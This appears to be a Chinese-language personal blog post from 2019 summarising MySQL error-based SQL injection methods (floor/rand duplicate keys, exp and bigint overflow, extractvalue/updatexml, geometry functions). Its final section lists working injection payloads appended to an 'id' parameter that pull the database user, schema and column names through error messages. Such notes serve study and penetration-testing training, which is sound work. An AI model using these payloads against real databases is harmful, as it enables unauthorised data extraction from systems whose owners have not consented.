mysql报错注入姿势小结

这两天在刷1000道科一,时间有点紧,本来不想写的,又不想打破习惯,随便记录点东西

这篇知识点其实在以前刚开始学sql注入,《mysql注入天书》有详细讲解,都是老的不能再老的知识了,但现在来看,坑定有更深的理解,也许再等一段时间来看,或者一年后来看,又有其他的理解了吧

参考:http://vinc.top/2017/03/23/%E3%80%90sql%E6%B3%A8%E5%85%A5%E3%80%91%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5%E5%A7%BF%E5%8A%BF%E6%80%BB%E7%BB%93/(17年的一个总结,非常棒了)

1.floor报错

利用主键唯一,随机数为011011来进行操作,有使用限制: 数据表中需要3条数据,使用该语句才会报错

参考:

http://vinc.top/2017/03/22/%E3%80%90sql%E6%B3%A8%E5%85%A5%E3%80%91mysql-duplicate-entry%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5%E5%8E%9F%E7%90%86/
https://www.cnblogs.com/litlife/p/8472323.html

2.溢出报错

mysql最大值溢出:有exp溢出注入,bigint溢出注入,最大数字溢出(~0)

参考:http://vinc.top/2017/03/23/%E3%80%90sql%E6%B3%A8%E5%85%A5%E3%80%91%E6%95%B4%E5%BD%A2%E6%BA%A2%E5%87%BA%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5%E5%8E%9F%E7%90%86/

3.xml函数溢出

具体有extractvalue(),updatexml() 只能32位,多了要用substr截断

4.几何函数

geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

5.name_const(以前未接触到的一个报错,具体未测试)

6.列出一些基本payload语句:

and (select 1 from(select 1,concat((select (select (select concat(table_schema,0x7e) from information_schema.tables limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23


溢出:
exp溢出注入
select exp(~(select*from(select user())x))
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x))

bigint溢出注入
select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;


xml:
extractvalue()
id = 1 and (extractvalue(1, concat(0x5c,(select user()))))

updatexml()
id = 1 and (updatexml(0x3a,concat(1,(select user())),1))


几何函数:
GeometryCollection()
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

polygon()
id =1 AND polygon((select * from(select * from(select user())a)b))

multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))

linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))

2019.5.9

标签:

发表评论

电子邮件地址不会被公开。 必填项已用*标注